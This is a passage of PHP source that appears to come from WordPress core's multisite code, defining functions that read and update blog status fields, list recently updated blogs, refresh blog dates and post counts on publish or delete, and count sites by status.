internally. * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $blog_id Blog ID. * @param string $pref Field name. * @param string $value Field value. * @param null $deprecated Not used. * @return string|false $value */ function update_blog_status( $blog_id, $pref, $value, $deprecated = null ) { global $wpdb; if ( null !== $deprecated ) { _deprecated_argument( __FUNCTION__, '3.1.0' ); } $allowed_field_names = array( 'site_id', 'domain', 'path', 'registered', 'last_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' ); if ( ! in_array( $pref, $allowed_field_names, true ) ) { return $value; } $result = wp_update_site( $blog_id, array( $pref => $value, ) ); if ( is_wp_error( $result ) ) { return false; } return $value; } /** * Gets a blog details field. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param int $id Blog ID. * @param string $pref Field name. * @return bool|string|null $value */ function get_blog_status( $id, $pref ) { global $wpdb; $details = get_site( $id ); if ( $details ) { return $details->$pref; } return $wpdb->get_var( $wpdb->prepare( "SELECT %s FROM {$wpdb->blogs} WHERE blog_id = %d", $pref, $id ) ); } /** * Gets a list of most recently updated blogs. * * @since MU (3.0.0) * * @global wpdb $wpdb WordPress database abstraction object. * * @param mixed $deprecated Not used. * @param int $start Optional. Number of blogs to offset the query. Used to build LIMIT clause. * Can be used for pagination. Default 0. * @param int $quantity Optional. The maximum number of blogs to retrieve. Default 40. * @return array The list of blogs. */ function get_last_updated( $deprecated = '', $start = 0, $quantity = 40 ) { global $wpdb; if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, 'MU' ); // Never used. } return $wpdb->get_results( $wpdb->prepare( "SELECT blog_id, domain, path FROM $wpdb->blogs WHERE site_id = %d AND public = '1' AND archived = '0' AND mature = '0' AND spam = '0' AND deleted = '0' AND last_updated != '0000-00-00 00:00:00' ORDER BY last_updated DESC limit %d, %d", get_current_network_id(), $start, $quantity ), ARRAY_A ); } /** * Handler for updating the site's last updated date when a post is published or * an already published post is changed. * * @since 3.3.0 * * @param string $new_status The new post status. * @param string $old_status The old post status. * @param WP_Post $post Post object. */ function _update_blog_date_on_post_publish( $new_status, $old_status, $post ) { $post_type_obj = get_post_type_object( $post->post_type ); if ( ! $post_type_obj || ! $post_type_obj->public ) { return; } if ( 'publish' !== $new_status && 'publish' !== $old_status ) { return; } // Post was freshly published, published post was saved, or published post was unpublished. wpmu_update_blogs_date(); } /** * Handler for updating the current site's last updated date when a published * post is deleted. * * @since 3.4.0 * * @param int $post_id Post ID */ function _update_blog_date_on_post_delete( $post_id ) { $post = get_post( $post_id ); $post_type_obj = get_post_type_object( $post->post_type ); if ( ! $post_type_obj || ! $post_type_obj->public ) { return; } if ( 'publish' !== $post->post_status ) { return; } wpmu_update_blogs_date(); } /** * Handler for updating the current site's posts count when a post is deleted. * * @since 4.0.0 * @since 6.2.0 Added the `$post` parameter. * * @param int $post_id Post ID. * @param WP_Post $post Post object. */ function _update_posts_count_on_delete( $post_id, $post ) { if ( ! $post || 'publish' !== $post->post_status || 'post' !== $post->post_type ) { return; } update_posts_count(); } /** * Handler for updating the current site's posts count when a post status changes. * * @since 4.0.0 * @since 4.9.0 Added the `$post` parameter. * * @param string $new_status The status the post is changing to. * @param string $old_status The status the post is changing from. * @param WP_Post $post Post object */ function _update_posts_count_on_transition_post_status( $new_status, $old_status, $post = null ) { if ( $new_status === $old_status ) { return; } if ( 'post' !== get_post_type( $post ) ) { return; } if ( 'publish' !== $new_status && 'publish' !== $old_status ) { return; } update_posts_count(); } /** * Counts number of sites grouped by site status. * * @since 5.3.0 * * @param int $network_id Optional. The network to get counts for. Default is the current network ID. * @return int[] { * Numbers of sites grouped by site status. * * @type int $all The total number of sites. * @type int $public The number of public sites. * @type int $archived The number of archived sites. * @type int $mature The number of mature sites. * @type int $spam The number of spam sites. * @type int $deleted The number of deleted sites. * } */ function wp_count_sites( $network_id = null ) { if ( empty( $network_id ) ) { $network_id = get_current_network_id(); } $counts = array(); $args = array( 'network_id' => $network_id, 'number' => 1, 'fields' => 'ids', 'no_found_rows' => false, ); $q = new WP_Site_Query( $args ); $counts['all'] = $q->found_sites; $_args = $args; $statuses = array( 'public', 'archived', 'mature', 'spam', 'deleted' ); foreach ( $statuses as $status ) { $_args = $args; $_args[ $status ] = 1; $q = new WP_Site_Query( $_args ); $counts[ $status ] = $q->found_sites; } return $counts; }
Close